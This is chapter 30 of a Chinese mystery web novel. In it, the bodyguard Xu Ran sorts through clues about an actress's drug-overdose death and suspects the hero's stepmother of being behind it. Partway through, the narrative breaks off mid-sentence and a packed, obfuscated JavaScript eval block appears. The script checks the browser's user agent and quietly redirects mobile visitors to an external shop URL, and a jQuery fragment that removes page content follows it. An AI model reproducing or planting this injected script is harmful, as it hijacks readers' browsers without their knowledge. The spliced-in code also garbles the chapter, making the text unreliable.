30. 第三十章
作品:《这个男人他克我》 “甘澜?”
“怎么会是她?”
“她怎么会和槿佳认识?”
一连串的问句从两人嘴里争相蹦出,一个对视,都在对方眼里看到了疑惑。
他们似乎都认识这个人,许染看了看两人,问道:“甘澜是谁?”
顾玘泽向来不愿意提起甘澜,但现在这个情况,也容不得他隐瞒了。
顾玘泽没有回答,江舟见状,替他开了口:“甘澜……是阿玘的继母。”
继母?
许染没了解过顾玘泽的身世,自然不清楚他的家庭情况。
江舟见顾玘泽没有阻止他开口,便继续给许染讲了下去。
顾玘泽立在一旁,他嘴角紧绷,仔细的翻看着那条转账记录。
转账时间是2015年5月17日,清楚明白的写着转账方是甘澜。
甘这个姓氏很少见,绝对不可能是和她同名同姓的其他人。
可是,甘澜和唐槿佳这两个八杆子打不到一起的人,什么时候有的交集?
自从上次过后,顾玘泽就怀疑卢文财是受了甘澜的指使,也怀疑过卢文财杀害唐槿佳也是甘澜指使的。
但他没有证据,也不清楚甘澜杀唐槿佳的动机。
而这份银行流水的出现,至少说明了甘澜和唐槿佳是认识的,甚至十年前还有过利益纠葛。
“所以你们才这么意外,你们不知道她俩认识?”许染了解完顾玘泽的家庭情况后,问道。
顾玘泽摇头。
他和甘澜关系一直紧张,不知道这些也正常。
江舟却是有些说不出的落寞。
他曾经自诩是最了解唐槿佳的人,可这些日子他才发现,自己不知道的事情实在太多。
好像过去和唐槿佳的那些接触,只是冰山一角,她的秘密从没向他展开过。
“我觉得……”许染稍微一顿,道:“这件事情,好像有了点眉目。”
顾玘泽忽的抬头,“怎么说?”
几人重新围在桌边坐了下来。
江舟找来了纸笔,许染把他们现在了解到的情况都写在上面:
1、唐槿佳死亡当天,案发现场实际出现过四个人。
“等等!”刚写完第一条,江舟就发出了疑问:“怎么会有四个人?”
是了,江舟还不知道这个情况。
“是这样……”顾玘泽把之前许染的分析讲给他听了。
江舟听罢,一时间没太反应过来,低着头抿唇思考。
许染继续写:
2、除了唐槿佳外,口罩男第一个进出,第二人是私生周俊,拍了照片,第三人则将尸体移到浴室。
3、口罩男已死亡。
看到第三条,江舟又叫停了。
“你怎么知道他死了?”
许染看向顾玘泽,顾玘泽便又担任起了解说的工作。
4、口罩男很可能与袭击顾玘泽的是同一人。
“袭——”江舟又要说话,顾玘泽赶忙打断了,一起把原委都讲给了他。
5、十年前,甘澜向唐槿佳支付十万元。
这是他们现在了解到的所有信息。
许染放下笔:“第一条,我觉得已经没有什么疑问了。”
江舟这会也想明白了,认同的点点头。
“第二条,我认为周俊是凶手的可能性不大,或许我们可以将重点集中在一、三的身上。”
顾玘泽说:“口罩男已经死了,凶手只会是最后那人了。”
“不,恰恰相反。”许染认真道。“实际动手的,还是口罩男的嫌疑最大。”
“为什么?”
“你们还记得周俊怎么说的唐槿佳吗?”许染视线扫向两人。
顾玘泽不知道她指的是哪句,江舟反而记得很清楚:“他说‘怎么叫槿佳都没反应,好像是死了。’”
“对。”许染继续道,“后来他还说了一句‘她好像很难受’。”
江舟不解:“这能说明什么?”
许染解释:“如果人是周俊杀的,他完全可以不把唐槿佳的状态说的这么清楚,说她昏迷了或者在睡觉,随便编一个理由,不是比这种更能令人信服吗?”
江舟沉思着。
“唐槿佳是吸毒过量死亡,按照周俊的描述,她当时的样子其实很符合中毒的特征。除了唐槿佳自己注射过量外,能有机会动手的,就只有口罩男了。”她回忆着那天周俊描述的情形,接着道:“而且他还说,口罩男第二次离开的很匆忙,我想一定有什么原因。”
口罩男第一次离开表现的很正常,说明当时的唐槿佳没有什么异样。可第二次却像是逃跑,只能说明他心虚害怕。
如果没做亏心事,他怕什么?
她的话有理有据,江舟已然被说服了。
“所以呢?凶手是口罩男,他死了,所以槿佳的仇就这么算了?”江舟不忿道。
凭什么!
凶手没受到任何惩罚,就这么死了,凭什么!
江舟有些激动。
许染语气很淡,十分平静的对他说:“你以为他死了,事情就结束了吗?”
江舟一愣。
许染把那张纸推到他面前,在“第四人”几个字上,着重做了标记。
“口罩男袭击顾玘泽的那天晚上,有人接应他离开,这说明他肯定是有同伙的。我们可以假设这第四人就是他的同伙,一个动手,一个掩盖痕迹……”许染说着,突然觉得哪里有点问题。“可是当天晚上,口罩男就死了……”
她没有再说下去。
“怎么了?”顾玘泽追问。
“不对。”许染眉心一皱,她拿过纸看了几眼,肯定道:“不对,我们之前都想错了!”
顾玘泽有些懵:“哪里错了?”
这个推测他没觉出有什么问题,很合理啊。
“我们太想当然了,觉得有人接应就是同伙。”许染边说边拿出手机,找到那张口罩男死亡时的照片。
“这有什么问题?”
“口罩男的死亡事件是由刑事科负责,可事情发生到确定是刑事案件,这中间只过了几个小时。警方尸检会这么快出结果吗?”她不这么认为。“除非有什么明确的迹象,让警方不用等详细的尸检报告出来,就能下这个结论。”
两个男人面面相觑。
“再者说,如果这两人真是同伙的话,口罩男死亡,那他的那个同伙去哪了?”
“还有,他死亡时还穿着作案时的衣服。如果是我的话,逃脱后第一件事就是换了这身衣服,要不然太显眼了,很容易被摄像头拍到不是吗?”许染指着照片上的那身衣服说。
顾玘泽终于跟上了节奏:“你是说他没时间换?”
“或许也没机会换。”许染有种真相逐渐浮出水面的感觉。她沉下心,继续道:“我猜他逃跑途中肯定出了什么意外,导致了他的死亡。”
“但是从照片上看,他的衣服没有什么拉扯破损的痕迹,发生打斗的可能性太小。”
“或许是在没防备的情况下,被人偷袭。又或是遇到了他没办法反抗的情况,只能束手就擒。”
“总之,那个接应的人逃脱不了嫌疑。是同伙的可能不大,反而很有可能,是他杀了口罩男。”
许染犹豫了一下,又说:“而且我觉得,唐槿佳死亡现场出现的第四人和口罩男应该不认识,如果是为他善后的,没道理唐槿佳被发现时,那些吸毒工具还摆在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864505|189206||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那里。”
许染说完,两人都没有出声。
刚刚许染分析的这些,他们从来没想到过。但听着却似乎句句在理,找不出什么漏洞。
“你的意思是,”江舟语速缓慢的总结,“口罩男是杀槿佳的凶手,但他也是被杀的,移动槿佳尸体的也另有其人?”
“没错。”许染顺便补充道:“还有一件事你别忘了,口罩男还多次袭击顾玘泽,他俩无冤无仇,为什么要一直盯着他?”
江舟很敏锐:“你是说,有一个和阿玘有冤有仇的人在操控这一切?”
许染:“根据现有的线索看,口罩男杀唐槿佳极有可能是冲动杀人,事先没有准备,所以才会就地取材。可是口罩男在这之前,就已经对顾玘泽下过手了,这可是有准备的行动。”
江州眼神一凛:“难道有人盯上了阿玘,雇凶杀人?”
槿佳死了,阿玘时时活在死亡的威胁下,关于幕后黑手他们却没有一点线索。
江舟有种打在棉花上的无力感,他最想平安的两个人,反而最不平安。
许染抽出一张新纸,写上了“口罩男”几个字。
“口罩男的目标是唐槿佳和顾玘泽,一个已经得手了,另一个却失手了。”她画了个箭头,指向这两人的名字。“在这之前一直不知道他动手的原因,但是今天我们得到了一个重要信息。”
她又写了“甘澜”的名字上去。
“虽然时间有些久了,但甘澜和唐槿佳是有过联系的,这几年她们有没有过联系,暂时还不清楚。”许染又从甘澜的名字上,往外画出了两个箭头。“可顾玘泽是和甘澜有一定关系的。”
她把纸转了个方向,给顾玘泽看。
“我大胆假设一下,虽然不知道口罩男对付你们两个的理由,但是换个方向,甘澜却在某种程度上,有了对付你们两个的动机。”
四人的名字赫然纸上,几个箭头把他们巧妙地连在了一起。
顾玘泽久久无法言语。
他着实被许染震撼到了。
就这点线索,竟然就让她分析出了个大概。
他由衷觉得,许染只当个保镖实在是屈才了。
江舟把两张纸看来看去,努力消化着许染的推论,“就是说,这个口罩男背后的推手,是甘澜?”
“只是有可能,并没有证据来证明这件事确实是她做的。我提前说明,这只是一个不成熟、不完善的猜想。”许染打了个补丁道。
“可我怎么感觉,八九不离十了呢……”
许染怕的就是这个,赶紧说:“你千万不要觉得这就是真相,这只是根据现有线索推导出来的,如果再有一个意外,这些想法就全都不作数了。”
“你不用担心。”江舟情绪很平稳,几乎没有什么起伏。“我知道你害怕什么,我不会去找她。”
他突然发觉,死是一种太容易的事情。
还没受过惩罚的罪人,也就权利去死。
对于那些人,死反而更像是一种解脱,免除了本该他们受的刑罚,少了太多痛苦。
阻止他们的计划,打破他们的幻想,把人送去该去的地方。让那些人在高墙内,用往后漫长的时光悔过自责,渴望着遥遥无期的自由。
这何尝不是一种更爽快的手段。
许染见江舟说的是认真的,不免松了口气。
要是他再冲动起来,可真就不好收场了。
许染心是放下了,视线一转却发现顾玘泽正直溜溜的看着她,那眼神让她有些不自在。
“你看我干什么?”
被发现了,顾玘泽也没有不好意思,收回目光笑了一下,“没什么。”
他就是不由自主的看着光,仅此而已。

